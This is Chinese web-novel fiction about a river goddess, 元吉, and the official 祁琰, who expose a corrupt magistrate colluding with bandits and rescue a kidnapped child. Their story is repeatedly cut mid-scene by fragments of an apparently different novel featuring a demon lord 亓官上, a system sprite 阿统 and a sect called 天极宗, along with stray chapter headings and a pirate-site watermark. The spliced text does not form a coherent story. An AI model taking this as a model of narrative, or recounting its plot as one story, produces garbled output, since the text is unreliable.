祁琰走到了岸边,朝里面看了一眼,河面上连水纹都没有,几个护卫就要过来查探,他立刻转身怒斥这四个人。 “你们闹什么呢?!”祁琰双手背在身后,已经全然忘记自己方才陪着玩儿还挺开心。 黑衣人甲乙丙丁知道自己恐怕早就被识穿了,于是摘下面上的蒙面纱,拱手道:“大人。” “还不快去下游找找你们未来夫人?!好在她水性不错,如若出了意外,你们就都别回来了,死外面得了!”祁琰说完,那四个人便直接朝小河的下游而去。 眼看黑衣人没了影子,祁琰这还没转身呢,元吉的声音便响起来了:“原来是他们几个。” 祁琰侧过脸看去,元吉趴在河岸边,一半在水上,一半在水下,手上拿着一个花灯,正眯着眼睛朝祁琰瞧去:“你与他们合伙耍我呢?” 祁琰摆出一副无辜的样子,掀开衣服便盘腿坐在了河边,伸手摸了摸元吉的头:“我怎么敢呢?我也是方才才知道的啊。” 元吉扯着嘴角:“我怎么就那么不信呢。” 祁琰叹了口气,有些伤感:“是我,是我平日里没给你留下好印象,现在即便说了实情你也不相信了。” 元吉双眼的眼皮耷拉着,嘴角平平,一点儿同情的意思都没有,那双眼神就直接在表示:装,你继续装。 她的一只手从河中伸出,带动了不少水花,舀了一手心的水直接洒在了祁琰的脸上,祁琰也没所谓,反而笑得没心没肺。 她提了提手中的花灯,道:“不过入河也不是全然没有收获。” 祁琰瞥了一眼花灯,挑眉:“我写的?” 元吉嘿嘿一笑,她方才在众多花灯中看了一眼,祁琰二字她立刻就认出来了,结果又看见那四个鹿蜂寨的山匪摘下面窗纱露出本来面容,才发现自己恐怕是被耍了,花灯上的内容也没来得及看。 祁琰倒是没有阻止的意思,双手环胸,正襟危坐,挑起一根眉抿着嘴点头。 元吉哼了一声,拿起花灯便将上面的字念出来:“赠祁琰,为何你的花灯上面写的是赠与你自己?……吾乃吴州环城河河神元吉是也,初见时便觉你分外好看,不禁动心,愿今后能与……” 元吉没念下去,目光所及的几行字,顿时让她瞪圆了眼睛。 初见时便觉你分外好看,不禁动心,愿今后能与你结为连理,一生一世一双人,元吉书。 花灯被她扔进了河里,溅起了一道水花。 她撑着胳膊让自己靠近祁琰,瞪圆了一双眼睛咬着下唇表示自己不开心。 祁琰哈哈笑了几声,还继续调侃道:“你怎么能将自己的一片真心丢入河中呢?” 元吉低着声音说:“你真恶劣。” 祁琰依旧在笑:“说得好像你是第一天知道。” 元吉不说话,就瞪着他,祁琰本来是看着她的双眼的,那眼神不知不觉就换了位置,她刚出水时头发湿漉漉的,脸上还有湿气,上半身的衣服紧紧贴在身上,脖子与锁骨处还有水痕。 祁琰的眸色沉了沉,突然朝她伸手,一手拽着她的衣领,一手撑着自己不掉入河中,将她拉到自己的跟前后,闭上眼睛便是一吻。 元吉睁圆了眼睛看向祁琰的脸,月光下,男人的脸有些泛白,眉头是松开的,双眼闭上,嘴唇也就是轻轻贴在了她的唇上,元吉突然觉得呼吸困难,胸腔猛跳。 她伸手推开了对方,噗通一声跌入了水里,再起来时,祁琰还是以方才盘腿而坐的姿势在河边,眼里嘴角都是笑意。 四个从下游匆匆赶回来的黑衣人刚到这处,便看见站在浅河边上湿淋淋的元吉与盘腿坐在河岸上满脸笑意的祁琰玩儿大眼瞪小眼。 护卫甲:“咱们……要不要过去?” 护卫乙:“为何我觉得咱们大人现在的气场有些不大对劲?” 护卫丙:“夫人的水性真好。” 护卫丁:“有些冷,咱们先回去吧?” 四个人互相看了对方一眼,抿嘴皱眉思索片刻后,一齐点头,决定先回去再说。 祁琰与元吉也没在城郊逗留太久,后来祁琰说要带元吉骑马回去的时候,元吉直接绕着他走上了马车,祁琰自觉坐在了车夫的位置上,架着马车回了客栈。 见元吉闷不吭声地回到了房间内,他无奈地揉了揉头发,叹了口气,恐怕又惹得河神不高兴,估计还得哄几日。 回到房内的元吉一夜未眠,翻来覆去都是祁琰笑起来的样子,想来有空还是得去土地庙一趟的,问问被凡人亲了会否有什么后遗症。 元吉没来得及找机会去土地庙,知府府那边就已经有消息传来了。 一大早便有个小厮把一本牛皮包裹的账册交给了知府府,说里面是徐县令贪赃枉法勾结盗匪的证据,经眼尖的人说,那穿着打扮像是贾府的家丁。 知府得到了账册后,便有官兵往徐县令的府上去,徐县令被拿下的时候还有些懵,一直问是为什么,当时官兵也没多说,只说等他到了知府的府衙就知道原由了。 祁琰不在知府府,不过却一直差人办事,穿着官服坐在府衙明镜高悬的正殿官位上的,是那日骑着马入城的男子,亦是祁琰的手下。 护卫甲特地撕去胡子在一旁看审判的过程。 一开始徐县令自然是矢口否认,且直呼冤枉,但等账册甩到他面前的时候他便无话可说了,当初他为了与鹿蜂寨达成协议,以自己的官印盖章书写了账册,鹿蜂寨与县令府各有一本以作备用。 上一次知府派人来县令府的时候,他就已经让师爷拿出去处理了,师爷说交给了李家,徐县令想李家与鹿蜂寨也有挂钩,算是安全。 却没想到和账册竟然会落到知府的手中。 徐县令浑身冷汗,嘴上还一直喊:“下官冤枉啊!这账册是诬陷!下官根本就不知此事啊!” “还敢狡辩!” 徐县令看着师爷在旁边已经吓得尿裤子了,于是转说:“是李守财!李守财他与鹿蜂寨勾结!我不过是充当个中间人睁一只眼闭一只眼,这账册也是李守财诬陷下官的,请大人明察!” 高台上的人瞥了一眼护卫甲递过来的纸,上面的字迹如风中劲竹好认的很,言简意赅地表示着写这封信的人,已经懒得与徐县令纠缠,于是他道:“证据确凿,无需狡辩,来人,将他押入牢中,事情详尾,等本官剿匪之后,一并呈与圣上。” 两旁的官兵根本不管徐县令喊了多少声冤枉,将他与师爷一干人等都关入牢中,府中子弟一并入牢,妇孺则关押在县令府,不得出入。 徐县令入狱了,这消息很快便在吴州传了开来,第一个收到消息的便是与徐县令同城的陈县令。 陈县令正在家中坐立不安,季老板与贾老板同一时间拜访,双方都是旧识,于是颔首打了个招呼,便要与陈县令讨论这事儿。 陈县令让家里下人看了茶,便说:“这知府办事为何会如此雷厉风行?徐县令的账册都能被他找到。” 贾老板叹了口气:“更可恨的是外界都说这是我做的!我如何与那徐县令认识?” 季老板上下打量了他两眼:“当真不是你做的?” 贾老板拍了拍桌子:“我如何会做这唇亡齿寒的事!有那姓徐的在前面挡着,咱们行事低调也不至于被盯上!而今他倒了,下一个要查办的就是咱们!” 陈县令抬起手摇头:“莫慌!我这儿可没什么账册给他查。” 季老板顿了顿:“可是……咱们可一直都给南山上的那些提供米粮啊。” 陈县令点头:“朝廷拨下来赈灾的银两,我扣了不少,吴州外围都是难民,米粥我换成了米水,这事要被查出来,我是没有与山匪勾结的直接证据,却也是与贪赃枉法撇不开。” 季老板道:“咱们别慌了阵脚,先不管这事儿,且看着。” 季老板说完,贾老板将茶杯放下:“这也未尝不是一件好事,李守财那边的生意没了徐县令帮衬,于我有利。” 提起生意,季老板又想起来一人,眉心微微皱起:“你们可还记得,前不久刚来城中姓元的一名公子?他在城中置办了许多空宅,又与李守财走的颇近,不知道葫芦里卖得是什么药啊。” 贾老板嗤了一声:“在我手中也买了两套废宅子过去,都是城郊的空屋,无甚用处。” “就是这样,才让我觉得奇怪呢,哪儿有商人买无用的东西的?” 陈县令深吸一口气:“这个姓元的的确有些奇怪,咱们派人盯着他的举动,还有徐县令那边空置下来,消息得往上传。” 季老板点头:“我这就回去写信。” 贾老板也站了起来:“咱们这些日子就别总凑在一起了,省得惹人怀疑。” 贾老板与季老板先后离开了陈县令的府上,他们走后,一直守在县令府门前的黑影也消失了。 李守财卖掉了徐县令时还有些忐忑,不过几日下来并没有官府查到自己头上,反而往贾家那边走动有些多,他也就渐渐松了这口气。 徐县令是没了,他不用担心知府查到自己头上,可没了靠山,他手下的生意也不好做,短短几日就被贾家抢去了不少,贾家有陈县令撑腰,李守财也硬气不起来。 若不想办法赚一笔大钱,他手下有几个店铺恐怕就要暂停歇业了。 李守财半夜还在挑灯看账簿,李夫人一觉睡醒了,那蜡烛还亮着,于是披下了衣服走到李守财身边坐下,轻声细语道:“老爷,元老板的买卖,你敢不敢做?” 李守财握着笔的手一顿,沉思片刻,回答:“有何不敢?我非但要与他一起做生意,我还要与鹿蜂寨联系,没了徐县令我也依旧是这城北的一把手。” 可谁知,亓官上伸出两指并拢,轻轻拂过袖口,那断裂的金线竟然像是活过来了一般重新勾连、回缩,一瞬间便变回那完好无缺的绣纹,连一丝缺口都不曾留下。 关柔目睹这一切不敢置信地看着眼前这人。 等等,这不是修复,而是回溯! 有这回溯的能力,普天之下她只知一人。 魔界尊者——亓官上。 关柔不由得后退一步,正要惊呼却察觉一道力量封住了她的声音。 亓官上投下冷冷一瞥,飞身跟着元吉离去。 似是无意,又似是威胁。 第 80 章 第八十章 第八十章 “牧平!” 一阵亢奋的呼喊在忘川境内响起,好几位早起前来参拜河神的村民一脸警觉地盯着不远处的……球? 他们面面相觑一眼,这球居然还会说话? “牧平!” 声音由远及近,伴随着“咔嚓咔嚓”的动静,一个圆形铁球径直朝他们飞速冲来。 待村民回过神来,立马跌跌撞撞奔向河神庙,边跑边大喊道:“不好了,不好了!救命啊!有个怪球要吃我们!!” “什么怪球?居然还有不长眼的敢来河神庙闹事!”乌伯山冷哼一声,抄起立在门后的被扁担便出门去察看情况。 祁琰刚向李守财放出要剿匪的消息没多久,便让知府府衙中的人在外面贴榜,召集民兵,一起剿匪。 这消息贴出来之后很快便传到了吴州的各个城镇中,到了徐县令的耳里,县令端起茶杯嗤笑了起来,无奈地摇了摇头道:“我当着祁家公子有什么本事,到头来原来是最不靠谱的,吴州百姓大多风餐露宿,哪儿还能召集到民兵。” 坐在他对面的李守财也赔着笑了两声,满脑子都是赚钱的事儿。 他好奇,他着实好奇自己被那姓元的公子买去的宅子对方到底用来做什么,在剿匪这条路上,又能发得了什么横财? 他不与官府为一线,唯有万贯家产被山匪抢走的份儿啊。 而此时的祁琰靠在客栈房间的窗边凉椅上,一边啃苹果,一边翻看书籍。 护卫甲乙丙丁四人站在他身后排成了一排,几日看上去风平浪静,但官府与山匪那边都听到了知府要剿匪的消息,必然暗流涌动。 除此之外……护卫甲表示他已经好几天没看见未来夫人了。 非但是他,护卫乙丙丁都没看见,而他们家大人就像是从来没这人似的,该吃吃,该喝喝,甚至比之前吃喝得更香了。 几日前祁琰便说接下来要等李守财过来,故而放了元吉几日假,准许她回去陪陪河里的鱼虾蟹。 元吉回河里也不是什么都没做的,祁琰放出剿匪的消息,舟山上的山匪定然也有所作为,故而她顺着水源上山查探了一番。 一群散匪自然紧张,也收敛了许多,鹿蜂寨似乎也在为剿匪之事有所准备,连着几晚都在开会,不过有人把手,里面具体说什么,元吉不知道。 她还晃去了另一个山头去查探了,那边倒是安静许多,一如既往的操练手下,粮仓饱满,并不为此犯愁。 李守财是在知府告知要剿匪征集民兵的第五日主动来找祁琰了。 当日一早元吉便回来了,在回来的路上看见了李守财的轿子,知道他是要往鼎丰客栈去,便先一步到。 护卫甲打着哈欠看见从客栈外头进来的元吉一瞬有些愣住,张口问:“夫人这几日去哪儿啦?” 元吉瞪了他一眼:“你还真当我是你家夫人啦!” 护卫乙手上端着热水,朝元吉眨了眨眼睛笑道:“这不早晚的事儿嘛。” 元吉摆了摆手:“我不与你们扯这些,祁琰在里面吗?” 几名护卫一起点头,元吉推门便进去了。 护卫丙伸手想要阻止,然而晚了一步,他慢慢收回手,朝护卫丁瞥了一眼,而后道:“大人正在换衣服……” 护卫甲、护卫乙、护卫丁一同沉默,半晌后才开口:“没事儿,未来夫人嘛,看见就看见吧,反正咱们大人不吃亏。” 元吉推门而入的时候没一眼就看见祁琰,否则她当即便退出来了,她当时甚至还很有心地关上了房门,大步朝里侧走,一边走一边喊:“我在回来的路上看见了李守财,是不是来找你的?” 越过屏风,元吉脸上的表情僵硬住了。 她看向站在屏风后正往身上套衣服的祁琰,对方也在看着她。 祁琰身下穿着裤子,上身未着寸缕,一手拿着内衫,一手拿着毛巾,雾气腾腾的。 他眨了眨眼睛,见元吉还没有转身离开的意思,于是将手中的毛巾丢掉,清了清嗓子,挑眉问:“要不我等会儿再穿,你多看会儿?” 元吉骤然回神,猛地转身,脸颊通红道:“耍耍耍什么……” 话未说完,祁琰便打断:“我可没耍流氓,你自己冲进来的。” 元吉伸出一只手指向身后的他道:“快快快穿衣……” 依旧被祁琰打断:“本来要穿的,见你看得入神,这不放慢速度让你看仔细些。” 说完这句,还带着几声笑,元吉原地跺了一下脚,垂着脑袋蒙着脸便走出了屏风,直接走到了桌子边,背对着祁琰的方向给自己倒了杯茶。 元吉哆哆嗦嗦地端起茶杯,回想了一下自方才看到的地方,本来有些羞涩,可突然想到了什么,心中那股燥热慢慢平了,反而起了些许疑惑。 祁琰的胸口有个可怕的刀疤,直接入了左胸膛,以那狰狞的疤痕来看应当是会伤及性命的,刀疤已经有些年月了,虽然愈合,但仍旧让元吉心中狂跳。 她在吴州这几年,从来没听过祁琰在进京赶考的途中发生了什么,偶尔去祁家串门儿的时候,也未听说过祁琰重病或是受伤之类的话。 如若他当真受过这么严重的伤,祁老爷与祁夫人二话不说也必然冲到京城去的。 祁琰穿戴好衣服从屏风后走出来,一边低头理衣领,一边坐在了元吉的身边,理好了之后伸手搭在她的肩膀上,一副哥俩好的样子问她:“找我何事?” “我这几日去了舟山帮你转了一圈,估摸时间差不多就回来了,在路上看见李守财,他恐怕马上就到。”元吉朝祁琰看了一眼,说完眼神不经意落在了他衣着鲜亮的胸膛上。 祁琰点头:“是,他唯利是图,差不多是该来问我发财之道了,你见他是坐马车来的?” 元吉点头,祁琰便道:“那他夫人恐怕也带着了,等会儿你换套衣服,与李夫人多说一些话,透露一些给她,但也要挖一些过来,我要知道他们是直接与山匪有关系,还是通过了徐县令才有的关系。” 元吉嗯了一声,眼神又往祁琰的胸膛上瞥了一眼。 祁琰看见了,端起茶杯喝了口水,在元吉瞥过来第三眼后实在有些受不了,放下茶杯站起来就要解腰带。 元吉猛地往后退了些,瞪圆了眼睛问他:“你做什么?” 祁琰手上不停:“你不是要看吗,我脱光了让你看个够。” 元吉听见这话耳根都红了,她连忙伸手捂住了自己的眼睛,撇过头道:“你你你穿好!” 祁琰随意地将腰带系好,坐在旁边,双手环胸,歪着头问她:“你是不是看见疤了?” 元吉点头:“看见了。” “想问我疤是怎么来的?” 元吉继续点头:“是。” 祁琰见她还蒙着眼睛,于是叹了口气,将她的手拉开道:“我没脱,就想与你好好说说话。” 元吉不相信地睁开了一条小缝隙,发现祁琰果然没脱,于是正襟危坐起来,想到那条疤,眉心又皱起来了:“你在京城与人打架啦?” 祁琰噗嗤一声笑了起来,他看向元吉那双桃花眼,心中起了些许波澜,仿佛有风吹过湖面,一层层荡漾起来,不过潜藏在湖面伸出翻滚想要喷发而出的岩浆,都统统被他给压了回去。 “小河神,傻真是有傻的好处啊。”祁琰伸手摸了摸她的头发:“你瞧你,多天真。” 元吉将他的手拍开,瞪圆了眼睛:“滚滚滚!” 屋外护卫甲敲了敲房门:“主人,李老板来了。” 祁琰瞥了一眼元吉身上非常随意的衣服,对外道:“让李老板等会儿,我与夫人还没起呢。” 祁琰说完,便起身去翻箱子,找了一套干净的衣服给元吉,指了指屏风后面道:“去换吧,记得要套李夫人的话。” 元吉拿着衣服走到了屏风后头,她换衣服不如祁琰那般要脱,反正会些小法术,眨眼般的功夫便换好了,一回头便看见祁琰双手抱胸靠在屏风旁,歪头啧了啧嘴道:“没意思。” 元吉将换下来的衣服直接盖在了他的头上,越过他的时候嘴里还嘀咕:“我以前怎么就没发现你竟然是这种人。” 若发现了,见他再可爱也不会去闹他的!恨不得躲得远远的! 祁琰与元吉一同出去的时候,李老板与其夫人正在大堂用早饭,见祁琰下来了,于是站起来道:“元老板,一早就来找你了,没有打搅到你吧?” 祁琰在外一直都是彬彬有礼的谦谦公子,故而含笑道:“无妨,我与夫人也醒了。” 元吉落座在李夫人旁边,两人之前见过面,故而现在也不生疏。 李夫人牵着元吉的手道:“这几日我与老爷出门,今早回来的时候瞧见城外的桃花开的正好,花香十里,所以想着邀请你一起去看,老爷还说我一早来扰人清梦太过无理,可我又等不及想拉妹妹去花呢。” 元吉笑了笑:“我来这儿也没来得及玩,去看桃花刚好。” 祁琰见李老板有话说的样子,大约也猜到了,于是点头:“既然夫人想去,那咱们先用早饭吧,等会儿坐马车出城。” 四人用了早饭后便乘一辆马车出门了,护卫甲乙丙丁是骑马跟在后面的,李家的家丁只能走路,看着骏马上的四个男人,心里别提有多羡慕。 到了桃花盛开的地方,元吉下车瞧过去,果然是一番美不胜收的风景,这一处恐怕是个桃园,一片过去犹如置身于粉海,片片红瓣随风飘过来,带着桃花的香气,着实精彩。 李夫人拉着元吉就要往桃园里走,祁琰本来想跟过去的,李守财将手搭在了他的肩膀上,笑了笑:“元老板与在下到旁边喝会儿茶吧。” 李家的家丁备好了热茶,往地上铺了块厚厚的棉被,恐怕是早有准备。 祁琰跟着李守财坐在了棉被上,一人手上捧着一杯热茶,祁琰也不拐弯抹角,喝了一口道:“李老板有话直说吧。” “元老板真是爽快。”李守财道:“前几日元老板说朝廷有剿匪的动静,果真这几日便有剿匪的消息传来,新上任的知府广招民兵剿匪,不知你对此如何看?” 祁琰笑了笑:“不过是个幌子而已,为了让山匪放松警惕,据我所知朝廷已派兵过来,并播发了一笔开销银两,来者恐怕有两千,加上吴州内的,大约三千号人吧。” 李守财嘶了一口气:“三千人?之前朝廷说剿匪,也就只是在临州调兵,加上吴州本地官兵懒散,凑不足上千人的。” 祁琰放下茶杯:“若没有三千人,我也不准备留在这儿了。” 李守财听这话眼睛一亮,眨了眨后歪着嘴巴:“我是真没看出来,原来元老板说不与官府打交道,是要挣官府的钱啊。” 祁琰朝李守财靠近些,目光灼灼:“我非但挣官府的钱,我还要挣山匪的钱呢。” 阿统并未多说什么,阿统只是有点怀疑统生而已。 元吉见它突然自闭将头埋起来不理人,只当它是害怕,心中不由得好笑,没想到阿统居然怕鬼。 突然间,她察觉亓官上缓步踱到自己身侧,偏头瞧去,只见后者盯着向易之,眉间似有浓雾遮挡。 元吉思忖片刻,抬手间便从捻了捧忘川水化成个小人模样朝向易之掷去。 混入元吉神力的忘川水一没入向易之体内,瞬间充盈起来,将他的魂魄牢牢控制住,透明的魂魄也因有了忘川水的支撑而逐渐变得结实起来。 向易之感受着自己的身躯不再是轻飘飘,而脚下也是第一次多了踩到地面的踏实感,顿时心下思绪翻涌。 他眼中一热,当即单膝跪地双手抱拳恭敬地举过头顶,声音中带着些颤抖。 “多谢河神大人替我重塑身躯,向易之定当为河神大人赴汤蹈火、在所不辞。” 元吉瞧着凝实了的身躯满意地扬了扬眉,并不多在意向易之的感恩戴德。她随意挥了挥手示意他与关柔去闲聊即可,随即转头看向一旁的亓官上。 “他现在不是鬼了,你莫要害怕。” 闻言,亓官上愣了一瞬粲然笑道。 “元吉这般关心,我自然是不怕的。” 而一旁听到全部的阿统:?? 那元吉你知不知道我怕不怕呢?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第 81 章 第八十一章 第八十一章 面对众人好奇的打量,向易之也放下了心中那点变扭。他都做鬼这么多年,早就习惯了坦坦荡荡,如今便更没有什么好隐瞒的。 元吉看着面前任务面板提示任务进度已经飞速涨到了60%,一股愉悦的心情涌上心间,她伸手戳了戳面前的系统,“阿统,你怎么了?” 阿统气鼓鼓地冷哼一声,将头故意转向另一个方向不去看元吉,以此表示自己的气愤。 “阿统?”元吉疑惑地加重手中的动作,半透明的系统被她戳得东倒西歪,却还是别扭地不肯转身。 阿统生气了,阿统哄不好了! 正是下午,太阳还未落山,祁琰靠在窗边的凉椅上高架着脚,手上翻着书看,眼睛半睁着,没什么精神似的。 护卫甲走进来的时候祁琰没察觉,等到人影已经投在了他身上,他才回神,打了个哈欠问道:“如何了?” 护卫甲拱手禀告:“两件事,第一,大人吩咐属下去查的季家起源属下查到了,据认识季老板的人都说,在陈县令上任之前,他是上一任县令手下的衙役,是个混子,并不办什么实事儿,也不知为何突然发了横财,做起生意来了。” “没有从天而降的银子。”祁琰合上了书:“可知是什么时候发财的?” “大约二十多年前,也是同一年,上一任县令辞官,陈县令才到此任职。”护卫甲说完,见祁琰点头,便继续道:“还有第二件事,属下在查探此消息回来的路上,好像看见李守财了。” “他这几天挺安静,又如何了?” “李守财上了舟山。”护卫甲道:“可能不是冲着鹿蜂寨去的,但那方向是鹿蜂寨为虎作伥最多的地方没错。” 祁琰呼出一口气,脸上带着笑意,一本书在手上拍了拍道:“好啊,姓季的继续查,李守财那边,咱们该有些动作了。” 祁琰将事宜吩咐给护卫甲后,这便挥手让他快去安排,护卫甲刚出门就碰见了护卫丁。 护卫丁有些为难,搓了搓手,这才走到房内,看着祁琰的背影道:“大人,夫人她说她要回一趟娘家。” 祁琰刚端起茶杯喝口茶,还没咽下去就喷了出来,舔了舔嘴唇,他百分百的确定元吉绝对不是这么说的。 护卫丁扭扭捏捏,继续道:“夫人说反正这几日没她什么事,让大人若有事就去老地方找她。” 祁琰叹了口气,她恐怕是想念河里的鱼虾蟹了,不过也是,这些日子的确没她什么事,他安排的事宜还得等几天才能实行下来,便让她轻松自在些。 知府查办了徐县令,很快朝廷派来兵力也就要到吴州了,据说还有几日便可入吴州境内。 一早知府便派人到陈县令的府上吩咐事宜,陈县令接到任务的时候,脑子都是懵的。 知府说,朝廷派来有两千多人,入了吴州之后还会有吴州的兵力,吴州的兵原有住的地方,但是朝廷派来剿匪的两千余人并无住所,住处一事,还要陈县令安排。 陈县令当时有些结巴:“这这……这下官如何安排啊?” 以往也没来过这么多人剿匪啊! 来传话的人道:“如何安排是陈大人的事,此城距离舟山最近,若要剿匪,从此城出发为最为妥当,知府大人也知道陈县令为难,朝廷拨下来剿匪的银子两日后会送到府上,作为兵队的衣食住行开销。” 陈县令啧了啧嘴:“可有些事情不是钱就能解决的。” “陈大人,这可是个立功的好机会,如若剿匪大获全胜,知府大人上报朝廷的时候,功劳簿里也有陈大人的名字啊。”传话的人说完,拱了拱手道:“告辞!” 于是便转身走了,陈县令跟在后面一路说到那人出府,然而决定了的事无法更改,陈县令捶了捶手,心里想着将季老板与贾老板约来一起商谈。 季老板一听这事儿,当时便拍桌子啧啧直摇头道:“我可算是知道那姓元的买空宅子作何用的了!” 贾老板问:“莫不成他未卜先知?” “他恐怕是有些门道得知此番来剿匪的兵力,猜到这一步的。”季老板叹了口气:“贾老板你手下几个空着的宅子都便宜卖给那人了,这剿匪并非一日之功,也不知要投多少银两下去。” 贾老板道:“那就让上头多批些银子下来嘛!” “新上任的知府是祁家少爷,祁家难对付的很,恐怕这回剿匪,我不但捞不到,反而要倒贴进去了。”陈县令摇了摇头,探口气,对着贾老板说:“你之前给姓元的发过请帖,这回再发一次,就说我也会到,看他给不给我一个面子。” 贾老板得了任务,回去的第一件事便是要给祁琰写信,信件写好了后,让府上的家丁带到鼎丰客栈去。 祁琰并不在鼎丰客栈,距离元吉回河里已经有三日了,剿匪的事宜安排的也差不多,今日李守财还特地入客栈拜访,说晚间要请他吃饭,故而祁琰这才骑着马一人来到城郊的小河边,准备喊元吉回去。 还没走到河边呢,祁琰远远地就看见元吉蹲在河岸上,对面站着个小男孩儿,男孩儿大约五岁左右,正在哭。 祁琰下了马,没走过去,就这么看着。 元吉一身浅蓝长裙,与扮成元夫人的模样不同,去掉那些雍容华贵的东西,倒是个十足的十六七岁少女,她头上还簪着祁琰给她的发簪,许是忘了摘下,又或者是觉得挺好看,总之祁琰瞧见了很开心。 元吉一边给小孩儿擦脸一边哄他:“哭什么?不哭了啊,小脸都哭花了,姐姐这里有糖的,花生糖、桂花糖都有,你要吃哪个?” 那小孩儿听见这话,止住了哭声,朝元吉一伸手便道:“都要。” 元吉从身后动了动手指,凭空捏了个花生糖出来,包裹在黄油纸里,好几块叠放好,带着甜丝丝的香气。 她将糖放在小孩儿跟前问:“那你得告诉姐姐你家住那儿?姐姐送你回去。” 小孩儿一边吃着糖一边道:“我不知道我家住哪儿。” 元吉抿了抿嘴:“那你记得你爹娘叫什么吗?姐姐也能帮你找到。” 小孩儿响起这个就又哭了起来:“娘……娘带我出来玩儿,有个叔叔拉着我走,然后我就没见到娘了……” 元吉听见这话,脑中嗡得一响,她摇了摇头,给小孩子擦了擦脸,这才看向小孩儿的衣服,破烂成一团,似乎有几天没洗了,头发也乱糟糟的,倒不像是本城中走丢的。 她一开始看见对方的时候的确瞧见了一个男人,那男人似乎把他安置在这里后去做别的事,而后他就一直哭,元吉这才出来哄的。 她拍了拍小孩儿身上的灰尘:“刚才那个让你站在河边的叔叔,你以前见过吗?” 小孩儿摇头。 元吉又问:“那个叔叔对你好吗?有没有说要带你去哪儿?” 小孩儿继续摇头。 元吉啧了一声,突然出现的声音吓了她一跳,回头瞧去,祁琰牵着一匹马就站在她身后,神色凝重,道:“是被拐的。” 元吉眨了眨眼睛,问:“你怎么突然在这儿?” 祁琰呵笑了声:“夫人回娘家数日未归,为夫心里想念得紧,亲自来接了。” 元吉:“……” 小孩儿睁圆了眼睛瞧这两人,手上的糖沾满了口水,祁琰瞥了一眼皱眉:“真脏,丢河里给他洗洗干净。” 元吉:“我把你丢河里给你洗洗干净!” 祁琰哼了一声:“哟?看见可爱的孩子你想抱回家养是不是?” 元吉白了他一眼:“胡说什么?方才那很可能是拐卖他的人,我得把他送回去,爹娘丢了孩子该有多着急啊。” 祁琰朝前方不远处的树林看了一眼,牵着马匹缰绳的手松开,对元吉道:“你先带着孩子离开,有人来了。” 元吉连忙将孩子抱起来,看了一眼比自己矮不了多少的马,突然有些为难:“我不会骑马,你带孩子离开,我回河里。” 祁琰刚要接住小孩儿,那小孩儿便哇哇直哭,看上去已经害怕所有陌生男人了。 祁琰皱眉,先将小孩儿放在马前面,然后扶着元吉的腰,直接把她抱上了马,伸手摸了摸马的鼻梁,耳语了几句,随后道:“人来了,你不好回河里,被发现身份就不好了,你快回城里,我先应付着。” 元吉扯着缰绳,祁琰道:“千万别松手。” 元吉点头:“那你自己小心……” 话还未说完,祁琰便在马臀上拍了一巴掌,骏马跑得倒是不快,钻入丛林中的小路,便一路往城中而去。 刚从林子出来的大汉看了一眼祁琰,又看向马背上的人,撸起袖子便喊:“敢坏老子的生意!找死吧你!” 祁琰看了一眼那大汉,身上带刀疤,一看就不好惹,自己儿时虽然经常欺负人,但那多半都是因为身后有家丁护着,他从小学文,考的也是文官,说实话,面对有武器的流氓,他打不过。 见元吉已经走得没影儿了,祁琰这才拔腿就跑,一边跑一边往身后扔石子儿,如此狼狈,还好没被看见! 那男人扛着大刀,嘴里骂咧咧的,不过是进树林方便一下,出来养了好几日的孩子就没了,肯定要拿人磨磨刀! 祁琰顺着路一直跑出了这处,那人也在后头跟着。 祁琰毕竟是少爷身子,娇生惯养的,出门都骑马坐轿子,刚跑出这小林子便有些跑不动了,身后那人怎么看也像是经常跑江湖的,故而很快追了上来。 祁琰立刻对他一抬手:“别追!无非是钱,那小孩儿我买了!” 男人果然不追了,双手叉腰,拿着大刀:“老子已经追上你了,你根本没得选!” 祁琰从腰间解下了荷包,丢到男人跟前道:“里面有十两碎银和二百两银票,够买十个这样的娃娃了,你拐来无非是卖,也别和我过不去,省得引得官府来。” 男人打开荷包看了一眼,果然如他所说,这才将大刀放回了刀鞘了,指着祁琰道:“算你识相。” 这便转身离开。 做钱财买卖的都不想多生是非,惹上人命官司就麻烦了,更何况方才带走孩子的女子还见了他的长相,小孩儿与他生活了几天,想出画像并不难。 祁琰见对方走了,这才双手扶着膝盖松了口气,太长时间没跑过此番已经拼命地咳嗽起来了。 他看了一眼被扯坏的荷包,有些心疼地啧啧嘴,这荷包金线绣花,顶级工艺,上等绢布,穗子都是缠金丝的,买回来四百多两,比里面的东西值钱多了,就这么废了。 “拿小爷的钱,让你出不了吴州!”祁琰双手叉腰,抿了抿嘴,准备打道回府抓人贩子! “河神大人!那我们可千万不能去啊!”叶新大惊。 亓官上端起面前的茶盏施施然倒下两杯清亮的茶水,将一杯放到元吉面前,“不去,那为我们搭的好戏可不浪费了。” “自然要去。”元吉轻抿一口茶汤,微苦的茶水入口回甘,倒是别有一番滋味。“还要拿下那第一。” 叶新瞧着两人意有所指的话音,只恨自己是个榆木脑袋听不明白,他咽了口唾沫试探问道: “那河神大人想派谁参赛呢?” 元吉思忖片刻,目光一一扫光面前数人跃跃欲试的脸庞,最后落在一个和自己的脚玩木头人游戏的小章鱼上。 “让阿统去吧。” “什么!!??”众人大惊。 阿统:唧唧唧??!! 第 82 章 第八十二章 第八十二章 这日,天极宗热闹非凡,高耸入云的山峰远远瞧去都被一团团喜庆的彩绸包裹,细细听去,密林中皆是修行者们的高天阔轮,与往日天极宗安静神秘的氛围格外不同。 元吉便是在此时带了亓官上、关柔和向易之等人前来天极宗。 她看了眼已经重新修建好,在朗朗晴空下气势恢宏的天极宗正殿,心下一动。 短短数日,天极宗便重建如新,真是好速度。 正这时,几个身形鬼祟的人看见他们当即猫着腰从一片树丛挪到另一片树丛之后,几人交头接耳,小声密谋起来。 元吉余光瞥见其中一人,一身姜黄色长衫上面挂着七八个被油浸透了的包裹,随着那人的走动,不时有细碎的血珠从中滑落。 元吉测过身子背对着他,朝天白了一眼:“不会写就是不会写!” 元吉张嘴本来有话要说的,后来顿了顿,从祁琰手中拿过花灯,几步走到河边,随便就放入了河里,她对着河水嘀咕道:“我就是神仙,何故写这些东西给我自己看。” 反正当初她在河上收到的花灯也不少,一些情呀爱的东西她不感兴趣,那些愿望她也没法儿实现,自己假扮人就算了,如若再给自己写个祈愿,未免太傻。 祁琰见她这样,于是写了几个字,准备放到河里,元吉探头去看,祁琰伸手拦住:“又不是写给你看的。” 元吉眨了眨眼睛:“那是写给谁看的?这河上所有的灯我想看就看。” 祁琰将花灯放在了水面上,伸手招了招水,让灯远去,这才对元吉说:“你想看我写的什么字,也得有本事在众多花灯中找到我的那一个。” 